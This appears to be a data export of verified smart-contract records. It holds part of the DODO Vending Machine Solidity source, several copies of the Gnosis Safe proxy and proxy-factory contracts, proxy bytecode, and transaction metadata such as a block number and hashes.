_transferQuoteOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_BASE_TOKEN_),
address(_QUOTE_TOKEN_),
baseInput,
receiveQuoteAmount,
msg.sender,
assetTo
);
}
_sync();
emit DODOFlashLoan(msg.sender, assetTo, baseAmount, quoteAmount);
}
// ============ Query Functions ============
function querySellBase(address trader, uint256 payBaseAmount)
public
view
returns (uint256 receiveQuoteAmount, uint256 mtFee)
{
(receiveQuoteAmount, ) = PMMPricing.sellBaseToken(getPMMState(), payBaseAmount);
uint256 lpFeeRate = _LP_FEE_RATE_;
uint256 mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(trader);
mtFee = DecimalMath.mulFloor(receiveQuoteAmount, mtFeeRate);
receiveQuoteAmount = receiveQuoteAmount
.sub(DecimalMath.mulFloor(receiveQuoteAmount, lpFeeRate))
.sub(mtFee);
}
function querySellQuote(address trader, uint256 payQuoteAmount)
public
view
returns (uint256 receiveBaseAmount, uint256 mtFee)
{
(receiveBaseAmount, ) = PMMPricing.sellQuoteToken(getPMMState(), payQuoteAmount);
uint256 lpFeeRate = _LP_FEE_RATE_;
uint256 mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(trader);
mtFee = DecimalMath.mulFloor(receiveBaseAmount, mtFeeRate);
receiveBaseAmount = receiveBaseAmount
.sub(DecimalMath.mulFloor(receiveBaseAmount, lpFeeRate))
.sub(mtFee);
}
}
// File: contracts/DODOVendingMachine/impl/DVMFunding.sol
contract DVMFunding is DVMVault {
// ============ Events ============
event BuyShares(address to, uint256 increaseShares, uint256 totalShares);
event SellShares(address payer, address to, uint256 decreaseShares, uint256 totalShares);
// ============ Buy & Sell Shares ============
// buy shares [round down]
function buyShares(address to)
external
preventReentrant
returns (
uint256 shares,
uint256 baseInput,
uint256 quoteInput
)
{
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 baseReserve = _BASE_RESERVE_;
uint256 quoteReserve = _QUOTE_RESERVE_;
baseInput = baseBalance.sub(baseReserve);
quoteInput = quoteBalance.sub(quoteReserve);
require(baseInput > 0, "NO_BASE_INPUT");
// Round down when withdrawing. Therefore, never be a situation occuring balance is 0 but totalsupply is not 0
// But May Happen，reserve >0 But totalSupply = 0
if (totalSupply == 0) {
// case 1. initial supply
require(baseBalance >= 10**3, "INSUFFICIENT_LIQUIDITY_MINED");
shares = baseBalance; // 以免出现balance很大但shares很小的情况
} else if (baseReserve > 0 && quoteReserve == 0) {
// case 2. supply when quote reserve is 0
shares = baseInput.mul(totalSupply).div(baseReserve);
} else if (baseReserve > 0 && quoteReserve > 0) {
// case 3. normal case
uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
shares = DecimalMath.mulFloor(totalSupply, mintRatio);
}
_mint(to, shares);
_setReserve(baseBalance, quoteBalance);
emit BuyShares(to, shares, _SHARES_[to]);
}
// sell shares [round down]
function sellShares(
uint256 shareAmount,
address to,
uint256 baseMinAmount,
uint256 quoteMinAmount,
bytes calldata data,
uint256 deadline
) external preventReentrant returns (uint256 baseAmount, uint256 quoteAmount) {
require(deadline >= block.timestamp, "TIME_EXPIRED");
require(shareAmount <= _SHARES_[msg.sender], "DLP_NOT_ENOUGH");
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 totalShares = totalSupply;
baseAmount = baseBalance.mul(shareAmount).div(totalShares);
quoteAmount = quoteBalance.mul(shareAmount).div(totalShares);
require(
baseAmount >= baseMinAmount && quoteAmount >= quoteMinAmount,
"WITHDRAW_NOT_ENOUGH"
);
_burn(msg.sender, shareAmount);
_transferBaseOut(to, baseAmount);
_transferQuoteOut(to, quoteAmount);
_sync();
if (data.length > 0) {
IDODOCallee(to).DVMSellShareCall(
msg.sender,
shareAmount,
baseAmount,
quoteAmount,
data
);
}
emit SellShares(msg.sender, to, shareAmount, _SHARES_[msg.sender]);
}
}
// File: contracts/DODOVendingMachine/impl/DVM.sol
/**
* @title DODO VendingMachine
* @author DODO Breeder
*
* @notice DODOVendingMachine initialization
*/
contract DVM is DVMTrader, DVMFunding {
function init(
address maintainer,
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k,
bool isOpenTWAP
) external {
require(!_DVM_INITIALIZED_, "DVM_INITIALIZED");
_DVM_INITIALIZED_ = true;
require(baseTokenAddress != quoteTokenAddress, "BASE_QUOTE_CAN_NOT_BE_SAME");
_BASE_TOKEN_ = IERC20(baseTokenAddress);
_QUOTE_TOKEN_ = IERC20(quoteTokenAddress);
require(i > 0 && i <= 10**36);
_I_ = i;
require(k <= 10**18);
_K_ = k;
_LP_FEE_RATE_ = lpFeeRate;
_MT_FEE_RATE_MODEL_ = IFeeRateModel(mtFeeRateModel);
_MAINTAINER_ = maintainer;
_IS_OPEN_TWAP_ = isOpenTWAP;
if(isOpenTWAP) _BLOCK_TIMESTAMP_LAST_ = uint32(block.timestamp % 2**32);
string memory connect = "_";
string memory suffix = "DLP";
name = string(abi.encodePacked(suffix, connect, addressToShortString(address(this))));
symbol = "DLP";
decimals = _BASE_TOKEN_.decimals();
// ============================== Permit ====================================
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
// keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f,
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
// ==========================================================================
}
function addressToShortString(address _addr) public pure returns (string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(8);
for (uint256 i = 0; i < 4; i++) {
str[i * 2] = alphabet[uint8(value[i + 12] >> 4)];
str[1 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
// ============ Version Control ============
function version() external pure returns (string memory) {
return "DVM 1.0.2";
}
}
|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,393 |
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|
6cfde5d85983502b639e4c2afd45b29b2cb5b74e2e5e452b1ab116ae1e90b54e
|
548138ff7cbffb1605d8a57533276c6633ec6992
|
548138ff7cbffb1605d8a57533276c6633ec6992
|
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
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| |
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
